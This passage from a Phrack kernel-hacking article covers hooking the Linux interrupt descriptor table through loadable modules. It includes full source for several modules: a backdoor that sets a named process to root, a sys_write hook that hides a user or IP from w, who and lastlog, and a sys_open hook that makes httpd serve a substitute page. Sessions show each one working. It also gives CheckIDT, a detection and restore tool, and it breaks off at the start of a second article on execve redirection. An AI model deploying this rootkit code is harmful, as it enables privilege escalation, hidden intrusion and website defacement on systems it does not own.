C handler, then at the return, we pop 8 bytes (eax + edx). - finis : we put back the value of our registers and we call the true handler. By changing the value of sys_number, we can hook any syscall with this asm handler. C handler ---------- asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs->ebx == 12345 ) { my_task->uid=0; my_task->gid=0; my_task->suid=1000; } } We get the value of the registers in a pt_regs structure and the address of the current fd. We compare the value of ebx with 12345, if it is equal then we set the uid and the gid of the current process to 0. In practice : -------------- bash-2.05$ cat setuid.c #include int main (int argc,char ** argv) { setuid(12345); system("/bin/sh"); return 0; } bash-2.05$ gcc -o setuid setuid.c bash-2.05$ ./setuid sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# We are root. This technique can be used with many syscalls. ------[ 5.3.2 - Hooking of sys_write SYS_WRITE: ---------- EAX: 4 EBX: file descriptor ECX: ptr to output buffer EDX: count of bytes to send We are going to hook sys_write so that it will replace a string in a defined program. Then, we will hook sys_write so that it will replace in the whole system. The asm handler in the same as in 5.3.1 C handler ---------- asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0|| strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } - We compare the name of the process with a defined program name and with the name that we will specify in param when we insert our module (progy param). - We allocate some space for the buffer that will receive the string that is in regs->ecx - We copy the string that sys_write is going to write from the userland to the kernelland (copy_from_user) - We search for the string we want to hide in the string that sys_write is going to write. - If found,we change the string to be hidden with the one wanted in our buffer. - we copy the false string in the userland (copy_to_user) In practice : -------------- %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c %w 12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub-V0.5.2.o filename: hookstub-V0.5.2.o description: "Hooking of sys_write" author: "kad" parm: interrupt int, description "Interrupt number" parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel progy=ps Inserting hook Hooking finish %w 12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid %ps -au USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au % The string "kad" is hidden. The whole source code is in annexe CODE 3. This example is quite simple but could be more interesting. Instead of changing "kad" with "marcel", we could change our IP address with another. And, instead of hooking the output of w, who or lastlog, we could use klogd... Complete hooking of sys_write ------------------------------ The complete hooking of sys_write can be useful in some case, like for example changing an IP with another. But if you change a string completely, you won't be hidden long. If you change a string with another, it's the whole system that will be changed. Even a simple cat will be influenced : %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook Hooking finish %echo hello! bye! % The C handler for this example is the same as the previous one without the if condition. Beware, this could slow down your system a lot. ----[ 5.4 - Hooking for fun This example is only "for fun" :), don't misuse it. You could turn an admin mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook the syscall sys_open so that it opens another file instead of a defined file, but only if it is a defined "entity" that opens the file. This entity will be httpd here... SYS_OPEN: --------- EAX : 5 EBX : ptr to pathname ECX : file access EDX : file permissions The asm handler is always the same as the previous ones. C handler : ------------ asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; if(strcmp(my_task->comm,"httpd") == 0) { if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0) { copy_to_user((char *)regs->ebx,"/tmp/hacked", strlen((char *) regs->ebx)); } } } We hook sys_open, if httpd call sys_open and tries to open index.html, then we change index.html with another page we've chosen. We can also use MODULE_PARM to more easily change the page. If someone opens the file with a classic editor, he will see the true index.html! Hooking a syscall is very easy with this technique. Moreover, few modifications are to be done for hooking this or that syscall. The only thing to change is the C handler. We could however play with the asm handler, for example to invert 2 syscalls. We would only have to compare the value of eax and to change it with the number of a defined syscall. For an admin, we could hook the "hot" syscalls and warn with a message as soon as the syscall is called. We would be warned of the modifications on the syscall_table. --[ 6 - CHECKIDT CheckIDT is a little program that I have written that allow to "play" with the IDT from the userland. i.e. without using a lkm, thanks to the technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests, I had to face many kernel crashes and it was not dead but I couldn't remove the lkm. I had to reboot to change the value of the IDT. CheckIDT allow to change the value of the IDT without the use of a lkm. CheckIDT is here to help you coding your lkms and prevent you from rebooting all the time. On the other hand, this software can warn you of modifications of the IDT and so be useful for admins. It can restore the IDT state in tripwire style. It saves each descriptor of the IDT in a file, then it compares the descriptors with the saved values and put the IDT back if there were modifications. Some examples of use : ----------------------- %./checkidt CheckIDT V 1.1 by kad --------------------- Option : -a nb show all info about one interrupt -A show all info about all interrupt -I show IDT address -c create file archive -r read file archive -o file output filename (for creating file archive) -C compare save idt & new idt -R restore IDT -i file input filename to compare or read -s resolve symbol thanks to /boot/System.map -S file specify a map file %./checkidt -a 3 -s Int *** Stub Address *** Segment *** DPL *** Type Handler Name -------------------------------------------------------------------------- 3 0xc0109370 KERNEL_CS 3 System gate int3 Thanks for choose kad's products :-) % We can obtain information on an interrupt descriptor. "-A" allow to obtain information on all interrupts. %./checkidt -c Creating file archive idt done Thanks for choosing kad's products :-) %insmod hookstub-V0.3.2.o interrupt=3 Inserting hook Hooking finished %./checkidt -C Hey stub address of interrupt 3 has changed!!! Old Value : 0xc0109370 New Value : 0xc583e064 Thanks for choosing kad's products :-) %./checkidt -R Restore old stub address of interrupt 3 Thanks for choosing kad's products :-) %./checkidt -C All values are same Thanks for choosing kad's products :-) %lsmod Module Size Used by hookstub-V0.3.2 928 0 (unused) ... % So CheckIDT has restored the values of the IDT as they were before inserting the module. However, the module is still here but has no effect. As in tripwire, I advice you to put the IDT save file in a read only area, otherwise someone could be compromised. rem : if the module is well hidden, you will also be warned of the modifications of IDT. The whole source code is in annexe CODE 4. --[ 7 - REFERENCES [1] http://www.linuxassembly.org/resources.html#tutorials Many docs on asm inline [2] http://www.xml.com/ldd/chapter/book/ linux device drivers [3] http://www.lxhp.in-berlin.de/lhpsysc0.html detailed syscalls list [4] http://eccentrica.org/Mammon/ Mammon site, thanks mammon ;) [5] http://www.oreilly.com/catalog/linuxkernel/ o'reilly book , great book :) [6] http://www.tldp.org/LDP/lki/index.html Linux Kernel 2.4 Internals [7] Sources of 2.2.19 and 2.4.17 kernel [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html good info about how bottom half work [9] http://www.s0ftpj.org/en/tools.html kstat GREETZ - Special greetz to freya, django and neuro for helping me to translate this text in English. Greetz again to skyper for his advice, thks a lot man! :) - Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !) - Big greetz to mayhem, insulted, ptah and sauron for testing the codes and verifying the text. - Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all those who were at the RtC.Party, nywass, the polos :) and all those I forget. --[ 8 - Appendix CODE 1: ------- /*****************************************/ /* hooking interrupt 3 . Idea by mammon */ /* with kad modification */ /*****************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #include #define error_code 0xc01092d0 //error code in my system.map #define do_int3 0xc010977c //do_int3 in my system.map asmlinkage void my_handler(struct pt_regs * regs,long err_code); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long ptr_gdt_table; unsigned long old_stub; unsigned long old_handler=do_int3; extern asmlinkage void my_stub(); unsigned long ptr_error_code=error_code; unsigned long ptr_handler=(unsigned long)&my_handler; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler; printk("<1>Wowowo hijacking de l'int 3 \n"); (*old_int_handler)(regs,err_code); return; } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(3); //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); return; } int init_module(void) { ptr_idt_table=get_addr_idt(); hook_stub(3,&my_stub,&old_stub); return 0; } void cleanup_module() { hook_stub(3,(char *)old_stub,NULL); } ****************************************************************************** CODE 2: ------- /****************************************************/ /* IDT int3 backdoor. Give root right to the process /* Coded by kad /****************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif /*------------------------------------------*/ asmlinkage void my_function(unsigned long); /*------------------------------------------*/ MODULE_AUTHOR("Kad"); MODULE_DESCRIPTION("Hooking of int3 , give root right to process"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" " pushl %%ebx \n" " movl %%esp,%%ebx \n" " andl $-8192,%%ebx \n" " pushl %%ebx \n" " call *%0 \n" " addl $4,%%esp \n" " popl %%ebx \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub) ); } asmlinkage void my_function(unsigned long addr_task) { struct task_struct *p = &((struct task_struct *) addr_task)[0]; if(strcmp(p->comm,"give_me_root")==0 ) { #ifdef DEBUG printk("UID : %i GID : %i SUID : %i\n",p->uid, p->gid,p->suid); #endif p->uid=0; p->gid=0; #ifdef DEBUG printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid); #endif } else { #ifdef DEBUG printk("<1>Interrupt %i hijack \n",interrupt); #endif } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { int x; EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finished \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** CODE 3: ------- /**************************************************************/ /* Hooking of sys_write for w,who and lastlog. /* You can add an another program when you insmod the module /* By kad /**************************************************************/ #define MODULE #define __KERNEL__ #include #include #include #include #ifndef KERNEL2 #include #else #include #endif #include #include #define sys_number 4 #define HIDE_STRING "localhost" #define FALSE_STRING "somewhere" #define PROG "w" /*------------------------------------------*/ asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task); /*------------------------------------------*/ MODULE_AUTHOR("kad"); MODULE_DESCRIPTION("Hooking of sys_write"); MODULE_PARM(interrupt,"i"); MODULE_PARM_DESC(interrupt,"Interrupt number"); MODULE_PARM(hide_string,"s"); MODULE_PARM_DESC(hide_string,"String to hide"); MODULE_PARM(false_string,"s"); MODULE_PARM_DESC(false_string,"The fake string"); MODULE_PARM(progy,"s"); MODULE_PARM_DESC(progy,"You can add another program to fake"); /*------------------------------------------*/ unsigned long ptr_idt_table; unsigned long old_stub; extern asmlinkage void my_stub(); unsigned long hostile_code=(unsigned long)&my_function; int interrupt; char *hide_string; char *false_string; char *progy; /*------------------------------------------*/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" //save the register value " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" //compare it's the good syscall " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" //if it's the good syscall , continue :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" //restore register " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct * ) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0 || strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } void * get_stub_from_idt (int n) { struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n]; return ((void *) ((idte->offset_high << 16 ) + idte->offset_low)); } void hook_stub(int n,void *new_stub,unsigned long *old_stub) { unsigned long new_addr=(unsigned long)new_stub; struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table; //save old stub if(old_stub) *old_stub=(unsigned long)get_stub_from_idt(n); #ifdef DEBUG printk("Hook : new stub addresse not splited : 0x%.8x\n", new_addr); #endif //assign new stub idt[n].offset_high = (unsigned short) (new_addr >> 16); idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF); #ifdef DEBUG printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high); printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low); #endif return; } int write_console (char *str) { struct tty_struct *my_tty; if((my_tty=current->tty) != NULL) { (*(my_tty->driver).write) (my_tty,0,str,strlen(str)); return 0; } else return -1; } static int __init kad_init(void) { EXPORT_NO_SYMBOLS; ptr_idt_table=get_addr_idt(); write_console("Inserting hook \r\n"); hook_stub(interrupt,&my_stub,&old_stub); #ifdef DEBUG printk("Set hooking on interrupt %i\n",interrupt); #endif write_console("Hooking finish \r\n"); return 0; } static void kad_exit(void) { write_console("Removing hook\r\n"); hook_stub(interrupt,(char *)old_stub,NULL); } module_init(kad_init); module_exit(kad_exit); ****************************************************************************** <++> checkidt/Makefile all: checkidt.c gcc -Wall -o checkidt checkidt.c <--> <++> checkidt/checkidt.c /* * CheckIDT V1.1 * Play with IDT from userland * It's a tripwire kind for IDT * kad 2002 * * gcc -Wall -o checkidt checkidt.c */ #include #include #include #include #include #include #include #include #define NORMAL "\033[0m" #define NOIR "\033[30m" #define ROUGE "\033[31m" #define VERT "\033[32m" #define JAUNE "\033[33m" #define BLEU "\033[34m" #define MAUVE "\033[35m" #define BLEU_CLAIR "\033[36m" #define SYSTEM "System gate" #define INTERRUPT "Interrupt gate" #define TRAP "Trap gate" #define DEFAULT_FILE "Safe_idt" #define DEFAULT_MAP "/boot/System.map" /***********GLOBAL**************/ int fd_kmem; unsigned long ptr_idt; /******************************/ struct descriptor_idt { unsigned short offset_low,seg_selector; unsigned char reserved,flag; unsigned short offset_high; }; struct Mode { int show_idt_addr; int show_all_info; int read_file_archive; int create_file_archive; char out_filename[20]; int compare_idt; int restore_idt; char in_filename[20]; int show_all_descriptor; int resolve; char map_filename[40]; }; unsigned long get_addr_idt (void) { unsigned char idtr[6]; unsigned long idt; __asm__ volatile ("sidt %0": "=m" (idtr)); idt = *((unsigned long *) &idtr[2]); return(idt); } unsigned short get_size_idt(void) { unsigned idtr[6]; unsigned short size; __asm__ volatile ("sidt %0": "=m" (idtr)); size=*((unsigned short *) &idtr[0]); return(size); } char * get_segment(unsigned short selecteur) { if(selecteur == __KERNEL_CS) { return("KERNEL_CS"); } if(selecteur == __KERNEL_DS) { return("KERNEL_DS"); } if(selecteur == __USER_CS) { return("USER_CS"); } if(selecteur == __USER_DS) { return("USER_DS"); } else { printf("UNKNOW\n"); } } void readkmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(read(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void writekmem(void *m,unsigned off,int size) { if(lseek(fd_kmem,off,SEEK_SET) != off) { fprintf(stderr,"Error lseek. Are you root? \n"); exit(-1); } if(write(fd_kmem,m,size)!= size) { fprintf(stderr,"Error read kmem\n"); exit(-1); } } void resolv(char *file,unsigned long stub_addr,char *name) { FILE *fd; char buf[100],addr[30]; int ptr,ptr_begin,ptr_end; snprintf(addr,30,"%x",(char *)stub_addr); if(!(fd=fopen(file,"r"))) { fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n"); exit(-1); } while(fgets(buf,100,fd) != NULL) { ptr=strstr(buf,addr); if(ptr) { bzero(name,30); ptr_begin=strstr(buf," "); ptr_begin=strstr(ptr_begin+1," "); ptr_end=strstr(ptr_begin+1,"\n"); strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1); break; } } if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL); fclose(fd); } void show_all_info(int interrupt,int all_descriptor,char *file,int resolve) { struct descriptor_idt *descriptor; unsigned long stub_addr; unsigned short selecteur; char type[15]; char segment[15]; char name[30]; int x; int dpl; bzero(name,strlen(name)); descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); printf("Int *** Stub Address *** Segment *** DPL *** Type "); if(resolve >= 0) { printf(" Handler Name\n"); printf("--------------------------------------------------------------------------\n"); } else { printf("\n"); printf("---------------------------------------------------\n"); } if(interrupt >= 0) { readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type); } } if(all_descriptor >= 0 ) { for (x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; if(stub_addr != 0) { selecteur=(unsigned short) descriptor->seg_selector; if(descriptor->flag & 64) dpl=3; else dpl = 0; if(descriptor->flag & 1) { if(dpl) strncpy(type,SYSTEM,sizeof(SYSTEM)); else strncpy(type,TRAP,sizeof(TRAP)); } else strncpy(type,INTERRUPT,sizeof(INTERRUPT)); strcpy(segment,get_segment(selecteur)); if(resolve >= 0) { bzero(name,strlen(name)); resolv(file,stub_addr,name); printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name); } else { printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type); } } } } free(descriptor); } void create_archive(char *file) { FILE *file_idt; struct descriptor_idt *descriptor; int x; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w"))) { fprintf(stderr,"Error while opening file\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); } free(descriptor); fclose(file_idt); fprintf(stderr,"Creating file archive idt done \n"); } void read_archive(char *file) { FILE *file_idt; int x; struct descriptor_idt *descriptor; unsigned long stub_addr; descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r"))) { fprintf(stderr,"Error, check if the file exist\n"); exit(-1); } for(x=0;x<(get_size_idt()+1)/8;x++) { fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low; printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr); } free(descriptor); fclose(file_idt); } void compare_idt(char *file,int restore_idt) { FILE *file_idt; int x,change=0; int result; struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset; save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++) { fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low; if(actual_stub_addr != save_stub_addr) { if(restore_idt < 1) { fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x); fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr); fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr); change=1; } else { fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x); actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16); actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF); writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); change=1; } } } if(!change) fprintf(stderr,VERT"All values are same\n"NORMAL); } void initialize_value(struct Mode *mode) { mode->show_idt_addr=-1; mode->show_all_info=-1; mode->show_all_descriptor=-1; mode->create_file_archive=-1; mode->read_file_archive=-1; strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode->compare_idt=-1; mode->restore_idt=-1; strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode->resolve=-1; } void usage() { fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"---------------------\n"); fprintf(stderr,"Option : \n"); fprintf(stderr," -a nb show all info about one interrupt\n"); fprintf(stderr," -A showw all info about all interrupt\n"); fprintf(stderr," -I show IDT address \n"); fprintf(stderr," -c create file archive\n"); fprintf(stderr," -r read file archive\n"); fprintf(stderr," -o file output filename (for creating file archive)\n"); fprintf(stderr," -C compare save idt & new idt\n"); fprintf(stderr," -R restore IDT\n"); fprintf(stderr," -i file input filename to compare or read\n"); fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," -S file specify a map file\n\n"); exit(1); } int main(int argc, char ** argv) { int option; struct Mode *mode; if (argc < 2) { usage(); } mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode); while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1) { switch(option) { case 'h': usage(); exit(1); case 'I': mode->show_idt_addr=1; break; case 'a': mode->show_all_info=atoi(optarg); break; case 'A': mode->show_all_descriptor=1; break; case 'c': mode->create_file_archive=1; break; case 'r': mode->read_file_archive=1; break; case 'R': mode->restore_idt=1; break; case 'o': bzero(mode->out_filename,sizeof(mode->out_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->out_filename,optarg,strlen(optarg)); break; case 'C': mode->compare_idt=1; break; case 'i': bzero(mode->in_filename,sizeof(mode->in_filename)); if(strlen(optarg) > 20) { fprintf(stderr,"Filename too long\n"); exit(-1); } strncpy(mode->in_filename,optarg,strlen(optarg)); break; case 's': mode->resolve=1; break; case 'S': bzero(mode->map_filename,sizeof(mode->map_filename)); if(strlen(optarg) > 40) { fprintf(stderr,"Filename too long\n"); exit(-1); } if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg)); break; } } printf("\n"); ptr_idt=get_addr_idt(); if(mode->show_idt_addr >= 0) { fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); } fd_kmem=open("/dev/kmem",O_RDWR); if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0) { show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve); } if(mode->create_file_archive >= 0) { create_archive(mode->out_filename); } if(mode->read_file_archive >= 0) { read_archive(mode->in_filename); } if(mode->compare_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } if(mode->restore_idt >= 0) { compare_idt(mode->in_filename,mode->restore_idt); } printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL); free(mode); return 0; } <--> |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12 |=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=| |=-----------------------------------------------------------------------=| |=-----------------=[ palmers ]=-----------------=| --[ Contents 1 - Introduction 2 - Execution Redirection 3 - Short Stories 3.1 - The Classic 3.2 - The Obvious 3.3 - The Waiter 3.4 - The Nexus 3.5 - The Lord 4 - Conclusion 5 - Reference Appendix A: stories.tgz.uu Appendix B: fluc.c.gz.uu --[ 1 - Introduction "Oedipus: What is the rite of purification? How shall it be done? Creon: By banishing a man, or expiation of blood by blood ..." - Sophocles, Oedipus the King What once was said cannot be banished. Expiation of the wrongs that inspire peoples thinking and opinion may change. I concern again on kernel hacking, not on literature. Especially in this field many, many ideas need to be expiated as useless. That does not mean they do not allow to solve particular problems. It means the problems which can be solved are not those which were aimed to be solved. --[ 2 - Execution Redirection If a binary is requested to be executed, you are redirecting execution when you execute another binary. The user will stay unnotified of the change. Some kernel modules implement this feature as it can be used to replace a file but only when executed. The real binary will remain unmodified. Since no file is modified, tamper detection systems as [1] or [2] cannot percept such a backdoor. On the other hand, execution redirection is used in honeypot scenarios to fool attackers. Even after years of 